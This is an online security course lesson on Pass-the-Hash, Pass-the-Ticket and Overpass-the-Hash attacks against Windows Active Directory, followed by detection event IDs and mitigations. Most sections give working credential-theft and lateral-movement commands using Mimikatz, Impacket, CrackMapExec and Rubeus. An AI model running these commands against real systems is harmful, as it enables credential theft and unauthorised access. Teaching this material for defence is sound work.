0Pricing
Cyber Security Academy · Lesson

Pass-the-Hash and Pass-the-Ticket Attacks

Use credential hashes and Kerberos tickets to move laterally without knowing plaintext passwords.

Pass-the-Hash and Pass-the-Ticket Attacks is a free Cyber Security Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

Why These Attacks Exist

Windows credential protocols store authentication secrets (NTLM hashes, Kerberos tickets) in memory. An attacker with SYSTEM privileges can extract these secrets and reuse them to authenticate as other users without knowing passwords.

Extracting NTLM Hashes with Mimikatz

Mimikatz is the premier credential extraction tool on Windows. Running as SYSTEM/Administrator, it reads LSASS process memory to extract NTLM hashes and cleartext credentials.

# Run mimikatz as Admin:
mimikatz.exe

# Enable debug privilege
privilege::debug

# Dump LSASS credentials
sekurlsa::logonpasswords

# Dump local SAM hashes
lsadump::sam

Pass-the-Hash (PtH) with Mimikatz

PtH injects an NTLM hash into a new session without knowing the plaintext password. The hash authenticates to remote services using NTLM — effective for lateral movement to other Windows hosts.

# Pass-the-Hash with Mimikatz:
sekurlsa::pth /user:Administrator /domain:CORP \
  /ntlm:aad3b435b51404eeaad3b435b51404ee \
  /run:cmd.exe

# Opens cmd.exe authenticated as that user

Pass-the-Hash with Impacket

Impacket provides Python tools for PtH: psexec.py, smbexec.py, and wmiexec.py accept NTLM hashes directly for remote command execution.

# psexec with hash (Linux → Windows)
psexec.py CORP/Administrator@192.168.1.100 \
  -hashes aad3b435...:8846f7eaee8fb117...

# wmiexec
wmiexec.py CORP/Admin@192.168.1.100 \
  -hashes :8846f7eaee8fb117ad06bdd830b7586c

Extracting Kerberos Tickets

Kerberos tickets are also stored in LSASS memory. Mimikatz extracts them; Rubeus is the specialized tool for Kerberos ticket operations on Windows.

# Mimikatz: export all tickets
sekurlsa::tickets /export

# Rubeus: list tickets
Rubeus.exe triage

# Rubeus: dump specific ticket
Rubeus.exe dump /luid:0x3e7 /service:krbtgt

Pass-the-Ticket (PtT)

PtT injects a stolen Kerberos ticket into the current session. The ticket authenticates to services as the ticket's original owner — no hash or password needed.

# Mimikatz: inject ticket
kerberos::ptt ticket.kirbi

# Rubeus: inject ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# Verify injection
klist

Dumping LSASS Remotely

From a foothold, dump LSASS remotely using CrackMapExec or Impacket's secretsdump — no interactive session on the target needed.

# CrackMapExec
crackmapexec smb 192.168.1.100 -u Admin -p Password123 --sam
crackmapexec smb 192.168.1.100 -u Admin -p Password123 --lsa

# Impacket secretsdump
secretsdump.py CORP/Admin:Password123@192.168.1.100

Lateral Movement Paths

After obtaining hashes/tickets, move laterally: PtH to other machines with local admin reuse, PtT to access domain services, and escalate toward domain admin by targeting privileged accounts.

Detecting PtH and PtT

Defenders detect PtH via: Event ID 4624 (logon) with logon type 3 and no corresponding interactive logon, NTLM authentication anomalies, and Mimikatz signatures in memory/on disk.

# Detection event IDs:
# 4624: Logon (look for type 3 = network)
# 4776: NTLM auth (watch for unexpected hosts)
# 4769: Service ticket request (Kerberos)
# 4648: Explicit credential use

Mitigations

Key mitigations: enable Credential Guard (protects LSASS with virtualization), restrict local admin reuse across machines (LAPS), enforce Protected Users group for privileged accounts, and disable NTLM where possible.

Overpass-the-Hash

Overpass-the-Hash converts an NTLM hash into a Kerberos TGT. This is useful in environments where NTLM is blocked but Kerberos is available, or when you need a TGT for further Kerberos attacks.

# Mimikatz: overpass-the-hash
sekurlsa::pth /user:Admin /domain:CORP \
  /ntlm:8846f7eaee8fb117ad06bdd830b7586c \
  /run:powershell.exe

# Then in new session:
Rubeus.exe asktgt /user:Admin /rc4:8846f7ea...

Quick Check

What Windows security feature protects LSASS credential storage using virtualization?

Summary: PtH and PtT

Pass-the-Hash and Pass-the-Ticket are the backbone of Active Directory lateral movement. Both exploit Windows credential caching in LSASS. Mimikatz and Impacket make extraction and reuse trivial. Defend with Credential Guard, LAPS, Protected Users group, and strict monitoring of NTLM and Kerberos authentication events.

Frequently asked questions

Is the “Pass-the-Hash and Pass-the-Ticket Attacks” lesson free?

Yes — the full text of “Pass-the-Hash and Pass-the-Ticket Attacks” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.

What will I learn in “Pass-the-Hash and Pass-the-Ticket Attacks”?

Use credential hashes and Kerberos tickets to move laterally without knowing plaintext passwords. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Cyber Security Academy?

No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Pass-the-Hash and Pass-the-Ticket Attacks” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Cyber Security Academy lesson?

Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. Windows Authentication: NTLM and Kerberos
  2. Pass-the-Hash and Pass-the-Ticket Attacks
  3. Kerberoasting and AS-REP Roasting
  4. Active Directory Hardening
← Back to Cyber Security Academy